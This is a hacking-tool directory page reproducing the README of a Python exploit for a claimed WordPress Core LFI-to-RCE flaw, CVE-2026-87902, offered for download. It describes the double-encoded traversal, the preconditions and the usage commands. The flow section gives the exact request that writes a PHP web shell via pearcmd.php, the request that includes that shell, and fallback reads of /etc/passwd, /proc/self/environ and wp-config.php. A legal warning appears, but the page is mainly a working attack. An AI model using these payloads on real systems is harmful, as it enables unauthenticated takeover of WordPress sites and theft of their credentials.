Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-87902 — Python exploit for CVE-2026-87902, a WordPress Core LFI-to-RCE chain. Fingerprints versions, writes a PHP shell via pearcmd, and provides command execution or LFI fallback. | Kitploit
Tools/GitHubGitHub/zyphorixofficialmain-lab/cve-2026-87902
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubzyphorixofficialmain-lab/cve-2026-87902

cve-2026-87902

Python exploit for CVE-2026-87902, a WordPress Core LFI-to-RCE chain. Fingerprints versions, writes a PHP shell via pearcmd, and provides command execution or LFI fallback.

View Repository
413h 52m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cve-2026-87902

CVE-2026-87902 – WordPress Core LFI to RCE Exploit (Auto-Forcing Edition)

maked by alfaris

⚠️ LEGAL WARNING Using it against systems you do not own or have written permission to test is illegal and punishable under cyber crime laws. The author assumes no responsibility for misuse.


📌 Vulnerability Summary

FieldValue
CVECVE-2026-87902
TypeLocal File Inclusion (LFI) → Remote Code Execution (RCE)
CWECWE-98
CVSS v3.19.2 (Critical)
Attack VectorNetwork (Unauthenticated)
AffectedWordPress 4.7.0 – 7.1.1
PatchedWordPress 7.1.2 (and backports up to 4.7.37)
Root Causeget_page_template() does not call validate_file() after URL-decoding the pagename parameter, allowing double-encoded traversal (%252E%252E%252F) to bypass sanitization and include arbitrary .php files outside the theme directory.

RCE Preconditions

For full RCE, all of the following must be true:

  1. WordPress version between 4.7.0 and 7.1.1
  2. Active theme contains a top-level page-* directory (e.g. page-templates/)
  3. At least one published page exists
  4. pearcmd.php is present and readable by the web server user (default in official PHP Docker images and many cPanel installs with PHP < 8.5)
  5. PHP has register_argc_argv=On (default in PHP < 8.5)
  6. Host OS is Linux (Windows traversal syntax differs)

If any of these are missing, the exploit will fall back to LFI-only file read.


📂 Files

exploit.py # Main exploit script README.md # This file report.json # (optional) Output report when -o is used

⚙️ Requirements

  • Python 3.8+
  • requests library

Install:

root@kitploit:~
apt update
apt upgrade
apt install python
apt install git
root@kitploit:~
pip install requests
root@kitploit:~
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
  1. Basic scan (verbose)
root@kitploit:~
python3 exploit.py -t https://site.com -v

This will:

· Fingerprint WordPress version and active theme · Verify vulnerable version range · Locate a published page ID (REST → sitemap → brute force) · Attempt to write a PHP shell via pearcmd.php · Attempt to include the shell and execute id · If RCE fails, fall back to LFI on sensitive files

  1. Execute a single command
root@kitploit:~
python3 exploit.py -t https://site.com -c "id"
  1. Interactive shell (only if RCE succeeded)
root@kitploit:~
python3 exploit.py -t https://site.com -i -v

Inside the shell:

root@kitploit:~
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
  1. Save report to JSON
root@kitploit:~
python3 exploit.py -t https://site.com -o report.json -v
  1. Combine options
root@kitploit:~
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v

🧾 CLI Reference

Flag Long Description -t --target Required. Target WordPress URL (no trailing slash). -c --command Execute a single shell command after RCE. -i --interactive Open an interactive shell after RCE. -v --verbose Print detailed progress. -o --output Save the final report as JSON to the given path. -h --help Show help.

🔄 Exploit Flow

root@kitploit:~
[1] Fingerprint
      ├─ WordPress version (meta generator / asset ?ver=)
      └─ Active theme (/wp-content/themes/<name>/)

[2] Version check
      └─ 4.7.0 – 7.1.1 ? continue : warn & continue

[3] Find page ID
      ├─ REST: /wp-json/wp/v2/pages
      ├─ Sitemap: /wp-sitemap.xml
      └─ Brute force: /?page_id=1..30

[4] Check page-* directory
      ├─ page-templates
      ├─ page-template
      ├─ pages
      ├─ templates
      └─ page

[5] Write shell via pearcmd
      └─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
         body: root=<?php system($_GET['c']); ?>

[6] Include shell
      └─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id

[7] Fallback LFI (if RCE fails)
      ├─ /etc/passwd
      ├─ /etc/hostname
      ├─ /proc/self/environ
      ├─ /proc/version
      ├─ wp-config.php
      └─ ../.. variants
Download Tool